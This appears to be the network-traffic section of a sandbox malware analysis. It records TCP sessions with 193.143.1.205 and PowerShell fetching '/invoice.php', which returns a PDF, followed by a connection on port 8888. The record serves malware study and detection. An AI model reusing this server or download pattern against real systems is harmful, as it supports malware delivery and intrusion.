Jan 11, 2025 05:02:29.172665119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.172688007 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.173362970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.173387051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.173403025 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.173403025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.173418999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.173434973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.173438072 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.173470020 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.173516989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.173530102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.173547983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.173567057 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.173573017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.173588037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.173604012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.173615932 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.173620939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.173635960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.173640013 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.173650980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.173666000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.173682928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.173691034 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.173722029 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.173753023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.173777103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.173789024 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.173793077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.173808098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.173823118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.173825026 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.173876047 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.176942110 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.201795101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.201812983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.201828957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.201843023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.201864958 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.201920986 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.202646017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.202661037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.202685118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.202699900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.202714920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.202718973 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.202749014 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.202780962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.202795982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.202819109 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.231231928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.231247902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.231272936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.231288910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.231303930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.231326103 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.231328964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.231343985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.231360912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.231578112 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.231578112 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.233855963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.233870983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.233886957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.233913898 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.233932972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.233946085 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.233958960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.233975887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.233990908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.233999968 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.234006882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.234019995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.234036922 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.234060049 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.234081030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.234093904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.234108925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.234124899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.234134912 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.234141111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.234157085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.234168053 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.234172106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.234199047 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.262078047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.262113094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.262129068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.262145042 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.262155056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.262171030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.262187004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.262187958 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.262202978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.262233973 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.262259960 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.262273073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.262289047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.262303114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.262336969 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.262353897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.262379885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.262394905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.262403011 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.262411118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.262425900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.262443066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.262444019 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.262474060 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.262538910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.262553930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.262569904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.262584925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.262592077 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.262603045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.262614965 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.262618065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.262640953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.262656927 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.262665033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.262681007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.262696981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.262697935 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.262712955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.262728930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.262739897 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.262743950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.262761116 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.262780905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.262797117 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.262828112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.262845039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.262883902 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.262917995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.262933016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.262948990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.262964010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.262968063 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.263001919 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.263117075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.263130903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.263155937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.263176918 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.263180971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.263195992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.263204098 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.263212919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.263237000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.263248920 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.263252974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.263267040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.263283014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.263286114 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.263298988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.263309956 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.263339996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.263350964 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.263355017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.263370991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.263395071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.263401031 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.263411045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.263427019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.263442039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.263444901 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.263467073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.263477087 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.263482094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.263499975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.263526917 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.263530970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.263555050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.263575077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.263575077 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.263591051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.263605118 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.263606071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.263622046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.263638020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.263638973 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.263653994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.263667107 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.263669014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.263684988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.263700962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.263700962 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.263736010 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.264309883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.264324903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.264339924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.264359951 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.264365911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.264381886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.264385939 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.264409065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.264426947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.264439106 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.264477015 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.264568090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.264591932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.264609098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.264624119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.264642954 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.264650106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.264664888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.264668941 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.264682055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.264698029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.264709949 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.264722109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.264738083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.264748096 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.264755964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.264772892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.264787912 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.264828920 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.264831066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.264846087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.264862061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.264878035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.264894962 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.264923096 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.293699026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.293715000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.293739080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.293746948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.293755054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.293771029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.293778896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.293786049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.293829918 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.293860912 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.322189093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.322205067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.322228909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.322246075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.322262049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.322273016 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.322278976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.322294950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.322297096 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.322312117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.322343111 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.322366953 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.324861050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.324886084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.324902058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.324915886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.324934959 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.324942112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.324958086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.324963093 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.324975967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.325001001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.325002909 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.325026989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.325042963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.325052977 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.325057983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.325081110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.325082064 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.325098038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.325113058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.325129032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.325133085 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.325145006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.325161934 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.325196981 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.353080988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.353111029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.353127003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.353142977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.353168011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.353168011 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.353184938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.353198051 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.353202105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.353220940 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.353228092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.353245020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.353267908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.353280067 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.353283882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.353307962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.353317022 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.353323936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.353338957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.353357077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.353357077 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.353370905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.353385925 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.353387117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.353424072 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.388051987 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.393723965 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.621584892 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.992702007 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.998085976 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:29.998202085 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:29.998960018 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:30.003817081 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:30.798060894 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 05:02:30.845788956 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 05:02:31.854887009 CET	49731	8888	192.168.2.4	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 05:02:42.844630957 CET	49725	53	192.168.2.4	1.1.1.1
Jan 11, 2025 05:02:59.189215899 CET	59560	53	192.168.2.4	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 05:02:42.844630957 CET	192.168.2.4	1.1.1.1	0xb192	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:02:59.189215899 CET	192.168.2.4	1.1.1.1	0x39ae	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 05:02:42.852757931 CET	1.1.1.1	192.168.2.4	0xb192	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 05:02:59.196327925 CET	1.1.1.1	192.168.2.4	0x39ae	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	193.143.1.205	80	4916	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 05:02:27.786076069 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 05:02:28.593091011 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 04:02:28 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 